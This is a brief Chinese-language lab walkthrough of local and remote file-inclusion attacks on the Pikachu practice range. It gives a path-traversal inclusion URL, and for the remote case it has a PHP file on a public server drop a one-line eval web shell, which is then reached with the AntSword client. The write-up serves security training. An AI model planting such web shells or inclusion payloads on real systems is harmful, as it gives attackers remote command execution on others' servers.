pikachu文件包含漏洞靶场
一.pikachu（local）
1.随便点击一个选项尝试一下
2.进行抓包然后放入攻击器
3.发现有几个长度不一样，访问一下看看
4.访问到了账号密码
5.创建一个txt文件验证一下文件包含的作用
6.文件要放到pikachu文件夹中
7.
http://www.pikachu.com:90/vul/fileinclude/fi_local.php?filename=../../../shell.txt&submit=%E6%8F%90%E4%BA%A4
二File Inclusion(remote)
1.修改配置
php.in：
allow_url_fopen = on
allow_url_include = on
2.宝塔公网上创建一个x.php文件，内容是
<?php fputs(fopen("shw.php","w"),'<?php eval($_POST["cmd"]);?>')?>
3.file后面输入文件地址
4.fileinclude目录下找到php文件
5.蚁剑连接成功
